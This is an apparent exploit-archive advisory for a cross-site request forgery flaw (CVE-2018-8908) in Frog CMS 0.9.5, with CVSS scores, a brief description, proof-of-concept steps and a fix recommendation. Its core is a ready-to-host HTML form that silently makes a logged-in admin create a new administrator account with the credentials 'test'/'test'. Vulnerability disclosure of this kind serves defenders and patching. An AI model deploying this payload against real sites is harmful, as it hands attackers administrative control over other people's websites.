Frog CMS 0.9.5 Cross-Site Request Forgery (Add User)

2018.04.02
Credit: Samrat Das
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title:​​ Cross Site Request Forgery- Frog CMS # Date: 31-03-2018 # Exploit Author: Samrat Das # Contact: http://twitter.com/Samrat_Das93 # Website: https://securitywarrior9.blogspot.in/ # Vendor Homepage: https://github.com/philippe/FrogCMS # Version: 0.9.5 # CVE : CVE-2018-8908 # Category: Webapp CMS 1. Description The application source code is coded in a way which allows malicious HTML request to be executed without veryifying source of request.This leads to arbitary execution with malicous request which will lead to the creation of a privileged user. 2. Proof of Concept Visit the application Visit the Add Users Page. Craft an html page with all the details for an admin user creation and host it on a server Upon the link being clicked by a logged in admin user, immidiately, another admin user will get created. Exploit Code: <html> <body> <form action="http://localhost/frog/admin/?/user/add" method="POST"> <input type="hidden" name="user&#91;name&#93;" value="Test&#95;1" /> <input type="hidden" name="user&#91;email&#93;" value="" /> <input type="hidden" name="user&#91;username&#93;" value="test" /> <input type="hidden" name="user&#91;password&#93;" value="test" /> <input type="hidden" name="user&#91;confirm&#93;" value="test" /> <input type="hidden" name="user&#95;permission&#91;administrator&#93;" value="1" /> <input type="hidden" name="commit" value="Save" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Solution: Solution - Fix & Patch: The application code should be configured to implement anti csrf token to filter malicous HTTP Requests. 4. Public Reference with POC and steps: http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html Thanks and Regards Samrat


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